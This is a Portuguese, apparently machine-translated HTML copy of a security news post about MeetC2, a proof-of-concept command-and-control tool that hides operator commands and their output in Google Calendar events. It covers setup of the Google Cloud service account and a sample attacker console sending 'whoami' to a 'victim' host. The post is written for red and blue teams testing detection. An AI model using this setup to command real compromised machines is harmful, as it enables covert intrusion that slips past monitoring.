Código HTML do Conteúdo

Post: MeetC2 – Uma estrutura C2 sem servidor que aproveita as APIs do Google Agenda como um canal de comunicação


<div> <div> <h2>MeetC2 &ndash; Uma estrutura C2 sem servidor que aproveita as APIs do Google Agenda como um canal de comunica&ccedil;&atilde;o</h2> <h2>O MeetC2 &eacute; uma ferramenta PoC C2 que usa o Google Agenda para imitar o abuso da nuvem, ajudando as equipes a testar a detec&ccedil;&atilde;o, o registro e a resposta.</h2> <p id="6b54"><strong>Fundo:</strong>Os advers&aacute;rios modernos ocultam cada vez mais o tr&aacute;fego de comando e controle (C2) dentro dos servi&ccedil;os de nuvem. Criamos essa PoC (prova de conceito) para estudar e demonstrar essas t&eacute;cnicas de maneira controlada, emulando essas t&aacute;ticas para que as equipes vermelhas e azuis possam exercitar a detec&ccedil;&atilde;o, a telemetria e a resposta a cen&aacute;rios de abuso na nuvem.</p> <p id="e518"><strong>Hora da hist&oacute;ria:</strong>Durante um exerc&iacute;cio interno da equipe roxa, vimos a facilidade com que o tr&aacute;fego para dom&iacute;nios SaaS confi&aacute;veis diminuiu. Criamos uma PoC leve e multiplataforma que usa o Google Agenda, oferecendo &agrave;s equipes uma maneira reproduz&iacute;vel de validar detec&ccedil;&otilde;es, registros e governan&ccedil;a de aplicativos de terceiros para C2 de abuso de nuvem em um ambiente controlado.</p> <p id="23ed"><strong>Conhe&ccedil;aC2:</strong><a href="https://github.com/deriv-security/MeetC2" rel="noreferrer noopener" target="_blank">Conhe&ccedil;aC2</a>&eacute; uma estrutura C2 de prova de conceito que usa a API Google Agenda como um canal de comunica&ccedil;&atilde;o secreto entre as operadoras e um sistema comprometido.</p> <h2 id="6dae">Vis&atilde;o geral</h2> <p id="8a07"><a href="https://github.com/deriv-security/MeetC2" rel="noreferrer noopener" target="_blank">Conhe&ccedil;aC2</a>, tamb&eacute;m conhecido por MeetingC2, &eacute; um aplicativo multiplataforma (macOS/Linux) que demonstra como servi&ccedil;os de nuvem leg&iacute;timos podem ser abusados para opera&ccedil;&otilde;es advers&aacute;rias. Ao usar as APIs do Google Agenda, a estrutura cria um canal de comunica&ccedil;&atilde;o oculto que se mistura com o tr&aacute;fego comercial normal.</p> <p id="5219">Os dom&iacute;nios utilizados aqui s&atilde;o &ldquo;<em>oauth2.googleapis.com</em>&rdquo; &amp; &ldquo;<em>www.googleapis.com</em>&ldquo;. Uma vez autenticado, o agente entra em um loop de sondagem, enviando solicita&ccedil;&otilde;es GET a cada 30 segundos para &ldquo;<em>www.googleapis.com/calendar/v3/calendars/{calendarId}/eventos</em>&rdquo; para verificar se h&aacute; novos eventos de calend&aacute;rio contendo comandos.</p> <p id="c882">Quando o organizador quiser emitir um novo comando, ele pode<strong>POSTAR</strong>um novo evento para o mesmo endpoint da API Calendar por meio de &ldquo;<em>Organizador</em>&rdquo; com o comando incorporado no campo de resumo do evento, como &ldquo;<em>Reuni&atilde;o de ningu&eacute;m: [COMMAND]</em>&rdquo;.</p> <p id="9c8c">O &ldquo;<em>h&oacute;spede</em>&rdquo; identifica esses eventos de comando durante sua sondagem regular, que extrai e executa o comando localmente e, em seguida, atualiza o mesmo evento por meio de um<strong>P&Ocirc;R</strong>solicita&ccedil;&atilde;o para incluir a sa&iacute;da do comando dentro do<em>[OUTPUT] [/OUTPUT]</em>no campo Descri&ccedil;&atilde;o.</p> <h2 id="6913">Configura&ccedil;&atilde;o do Google Agenda</h2> <ul> <li>Navegue at&eacute; o URL<a href="https://console.cloud.google.com/?hl=en" rel="noreferrer noopener" target="_blank">Console de nuvem do Google</a>, fa&ccedil;a login com sua conta do Google. Selecione um projeto ou crie um novo projeto.</li> <li>Navegue at&eacute; &ldquo;APIs e servi&ccedil;os&rdquo; &rarr; clique em &ldquo;Biblioteca&rdquo;, na caixa de pesquisa, procure a API do Google Agenda e clique em &ldquo;ATIVADO&rdquo;, levar&aacute; de 20 a 30 segundos para ativ&aacute;-lo em seu projeto.</li> <li>Poste isso, navegue at&eacute; &ldquo;APIs e servi&ccedil;os&rdquo; &rarr; &ldquo;Credenciais&rdquo; e clique em &ldquo;+ CRIAR CREDENCIAIS&rdquo; na parte superior. Escolha &ldquo;Conta de servi&ccedil;o&rdquo;, preencha os detalhes necess&aacute;rios, ou seja, Nome da conta de servi&ccedil;o: calendar-invite, Descri&ccedil;&atilde;o: Sincroniza eventos de calend&aacute;rio e continua. Pule a fun&ccedil;&atilde;o/usu&aacute;rios opcionais e clique em &ldquo;CONCLU&Iacute;DO&rdquo;.</li> <li>Agora verifique suas listas de contas de servi&ccedil;o e voc&ecirc; deve ter um e-mail como &ldquo;<a data-cfemail="0764666b62696366752a6e69716e7362477e6872752a7775686d626473296e666a2960746275716e6462666464687269732964686a" href="https://securityaffairs.com/cdn-cgi/l/email-protection" target="_blank">[emailprotected]</a>&rdquo;. V&aacute; para a se&ccedil;&atilde;o &ldquo;CHAVES&rdquo; &ldquo;ADICIONAR CHAVE&rdquo; &rarr; &ldquo;Criar nova chave&rdquo;, escolha o formato &ldquo;JSON&rdquo; e baixe a &ldquo;CHAVE&rdquo;. Renomeie o arquivo JSON baixado para credentials.json para uso posterior.</li> <li>Navegue at&eacute; o URL &ldquo;https://calendar.google.com&rdquo;, no lado esquerdo, encontre &ldquo;Outros calend&aacute;rios&rdquo; &rarr; Clique no bot&atilde;o &ldquo;+&rdquo; clique em criar novo calend&aacute;rio, preencha o nome/descri&ccedil;&atilde;o. Poste isso, clique nos 3 pontos ao lado &rarr; &ldquo;Configura&ccedil;&otilde;es e compartilhamento&rdquo;. Role para baixo at&eacute; &ldquo;Integrar calend&aacute;rio&rdquo;, verifique &ldquo;ID do calend&aacute;rio&rdquo; deve ser semelhante a &ldquo;<a data-cfemail="e5848786d4d7d69d9c9fa582978a9095cb868489808b818497cb828a8a828980cb868a88" href="https://securityaffairs.com/cdn-cgi/l/email-protection" target="_blank">[emailprotected]</a>&rdquo;.</li> <li>Etapas finais, nas configura&ccedil;&otilde;es do calend&aacute;rio, encontre &ldquo;Compartilhar com pessoas espec&iacute;ficas&rdquo;, clique em &ldquo;+ Adicionar pessoas&rdquo;, adicione o e-mail da conta de servi&ccedil;o da etapa 4 acima (aquela que termina em @your-project.iam.gserviceaccount.com). Altere a permiss&atilde;o para &ldquo;Fazer altera&ccedil;&otilde;es nos eventos&rdquo; e clique em &ldquo;Enviar&rdquo; e est&aacute; tudo pronto.</li> </ul> <h2 id="3aab">Linha de comando</h2> <p id="cf63"><strong><em>Compilar:</em></strong></p> <blockquote> <p id="8ac3">./build-all.sh </p> </blockquote> <p id="5ce3"><strong><em>Host do invasor:</em></strong></p> <blockquote> <p id="4592">bash-3.2$ ./organizador credentials.jsem [NAME]@group.calendar.google.com<br />Organizador MeetC2<br />Comandos:<br />Exec &mdash; Execute em todos os hosts<br />@host executivo: &mdash; Executar em host espec&iacute;fico<br />exec @*: &mdash; Executar em todos os hosts (expl&iacute;cito)<br />list &mdash; Lista comandos recentes<br />Obter &mdash; Obter sa&iacute;da do comando<br />clear &mdash; Limpar eventos executados<br />exit &mdash; Organizador de sa&iacute;da<br />&mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash; &mdash;<br />&gt; executivo whoami<br />Comando criado para todos os hosts: qfj4tt8a4uoi8p7cd3b8t31337<br />&gt;<br />&gt;</p> </blockquote> <p id="3196"><strong><em>Anfitri&atilde;o v&iacute;tima:</em></strong></p> <blockquote> <p id="ebbe">bash-3.2$ ./convidado-darwin-arm64<br />16:08:04 MeetC2 Convidado iniciado em dhirajmishra<br />16:08:04 ID do calend&aacute;rio: [NAME]@group.calendar.google.com<br />16:08:04 Sondagem a cada 10 segundos&hellip;<br />16:08:15 Executando o comando: whoami<br />16:08:16 Evento atualizado com &ecirc;xito com sa&iacute;da</p> </blockquote> <p id="a003"><strong>Agradecimentos:</strong>Este projeto foi inspirado no<a href="https://github.com/looCiprian/GC2-sheet" rel="noreferrer noopener" target="_blank">GC2-folha</a>autor<a href="https://github.com/looCiprian" rel="noreferrer noopener" target="_blank">LooCiprian</a>. Por isso, um agradecimento especial a ele.</p> <p id="ef7b"><strong>OpSec:</strong>Embora isso seja funcional, sei que h&aacute; melhorias no OpSec especificamente para o &ldquo;<em>h&oacute;spede</em>&rdquo; bin&aacute;rio. Portanto, use um projeto de teste do GCP para essa configura&ccedil;&atilde;o, que deve ser eliminado posteriormente.</p> <h3 id="c6e9"><strong>Baixar MeetC2</strong></h3> <p><a href="https://github.com/deriv-security/MeetC2" target="_blank"><strong>https://github.com/deriv-security/MeetC2</strong></a></p> <p><strong>Sobre o autor:Pesquisador de seguran&ccedil;a Dhiraj Mishra (<a href="https://twitter.com/mishradhiraj_" target="_blank">@mishradhiraj</a>)</strong></p> <p>Siga-me no Twitter:<a href="https://twitter.com/securityaffairs" target="_blank">@securityaffairs</a>e<a href="https://www.facebook.com/sec.affairs" target="_blank">Linkedin</a>e<a href="https://infosec.exchange/@securityaffairs" target="_blank">Mastodonte</a></p> <p><a href="http://www.linkedin.com/pub/pierluigi-paganini/b/742/559" target="_blank">PierluigiPaganini</a></p> <p>(<a href="http://securityaffairs.co/wordpress/" target="_blank">Assuntos de Seguran&ccedil;a</a>&ndash;hacking,MeetC2)</p> <hr> <hr> </div></div>